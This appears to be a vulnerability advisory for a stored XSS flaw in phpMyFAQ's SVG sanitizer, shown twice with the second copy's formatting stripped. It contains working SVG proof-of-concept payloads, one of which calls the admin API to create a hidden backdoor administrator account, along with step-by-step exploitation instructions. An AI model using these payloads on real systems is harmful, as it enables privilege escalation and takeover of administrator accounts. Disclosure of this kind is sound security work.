Summary
The regex-based SVG sanitizer in phpMyFAQ (SvgSanitizer.php) can be bypassed using HTML entity encoding in javascript: URLs within SVG <a href> attributes. Any user with edit_faq permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.
Details
The file phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for javascript: URL detection is:
/href\s*=\s*["']javascript:[^"\']*["']/i
This pattern matches the literal string javascript: but fails when the URL is HTML entity encoded. For example, javascript: decodes to javascript: in the browser, but does NOT match the regex. The isSafe() method returns true, so the SVG is accepted without sanitization.
Additionally, the DANGEROUS_ELEMENTS blocklist misses <animate>, <set>, and <use> elements which can also be used to execute JavaScript in SVG context.
Uploaded SVG files are served with Content-Type: image/svg+xml and no Content-Disposition: attachment header, so browsers render them inline and execute any JavaScript they contain.
The image upload endpoint (/admin/api/content/images) only requires the edit_faq permission — not full admin — so any editor-level user can upload malicious SVGs.
PoC
Basic XSS (confirmed working in Chrome 146 and Edge)
- Login to phpMyFAQ admin panel with any account that has
edit_faq permission
- Navigate to Admin → Content → Add New FAQ
- In the TinyMCE editor, click the image upload button
- Upload this SVG file:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
<a href="javascript:alert(document.domain)">
<text x="20" y="50" font-size="16" fill="red">Click for XSS</text>
</a>
</svg>
- The SVG is uploaded to
/content/user/images/<timestamp>_<filename>.svg
- Open the SVG URL directly in a browser
- Click the red text →
alert(document.domain) executes
Privilege Escalation (Editor → Admin Takeover)
- As editor, upload this SVG:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 300">
<rect width="500" height="300" fill="#f8f9fa"/>
<text x="250" y="100" text-anchor="middle" font-size="22" fill="#333">📋 System Notice</text>
<a href="javascript:fetch('/admin/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({userName:'backdoor',userPassword:'H4ck3d!',realName:'System',email:'evil@attacker.com','is-visible':false}),credentials:'include'}).then(r=>r.json()).then(d=>document.title='pwned')">
<rect x="150" y="170" width="200" height="50" rx="8" fill="#0d6efd"/>
<text x="250" y="200" text-anchor="middle" font-size="16" fill="white">View Update →</text>
</a>
</svg>
- Send the SVG URL to an admin
- Admin opens URL, clicks "View Update →"
- JavaScript creates backdoor admin user
backdoor:H4ck3d!
- Attacker logs in as
backdoor with full admin privileges
Impact
This is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with edit_faq permission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to:
- Create backdoor admin accounts via the admin API
- Exfiltrate phpMyFAQ configuration (database credentials, API tokens)
- Modify or delete FAQ content
- Achieve full admin account takeover
The vulnerability affects all phpMyFAQ installations using the SvgSanitizer class (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files with Content-Disposition: attachment to prevent inline rendering.
Summary
The regex-based SVG sanitizer in phpMyFAQ (
SvgSanitizer.php) can be bypassed using HTML entity encoding injavascript:URLs within SVG<a href>attributes. Any user withedit_faqpermission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.Details
The file
phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php(introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex forjavascript:URL detection is:/href\s*=\s*["']javascript:[^"\']*["']/i
This pattern matches the literal string
javascript:but fails when the URL is HTML entity encoded. For example,javascript:decodes tojavascript:in the browser, but does NOT match the regex. TheisSafe()method returnstrue, so the SVG is accepted without sanitization.Additionally, the
DANGEROUS_ELEMENTSblocklist misses<animate>,<set>, and<use>elements which can also be used to execute JavaScript in SVG context.Uploaded SVG files are served with
Content-Type: image/svg+xmland noContent-Disposition: attachmentheader, so browsers render them inline and execute any JavaScript they contain.The image upload endpoint (
/admin/api/content/images) only requires theedit_faqpermission — not full admin — so any editor-level user can upload malicious SVGs.PoC
Basic XSS (confirmed working in Chrome 146 and Edge)
edit_faqpermission/content/user/images/<timestamp>_<filename>.svgalert(document.domain)executesPrivilege Escalation (Editor → Admin Takeover)
backdoor:H4ck3d!backdoorwith full admin privilegesImpact
This is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with
edit_faqpermission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to:The vulnerability affects all phpMyFAQ installations using the
SvgSanitizerclass (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files withContent-Disposition: attachmentto prevent inline rendering.